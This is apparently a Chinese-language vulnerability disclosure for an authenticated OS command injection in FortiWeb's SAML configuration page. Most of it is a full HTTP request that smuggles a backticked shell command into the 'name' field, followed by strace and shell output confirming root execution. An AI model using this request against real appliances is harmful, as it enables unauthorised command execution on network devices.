0day Fortinet FortiWeb OS 命令注入

       FortiWeb 管理界面（版本 6.3.11 及更早版本）中的操作系統命令注入漏洞可允許遠程、經過身份驗證的攻擊者通過 SAML 服務器配置頁面在系統上執行任意命令。

POC：

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="metafile"; filename="test.xml"
Content-Type: text/xml
"1.0"
?>
test
test
urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified
-----------------------------94351131111899571381631694412--
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: [redacted]
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}

“touch”命令連接在 mkdir shell 命令中：

[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0
[pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0
[pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0
[pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0

在 FortiWeb 設備的本地命令行上看到“touch”命令的結果：

/# ls -l /tmp/vulnerable-rw-r--r--    1 root     0                0 Jun 10 11:59 /tmp/vulnerable/#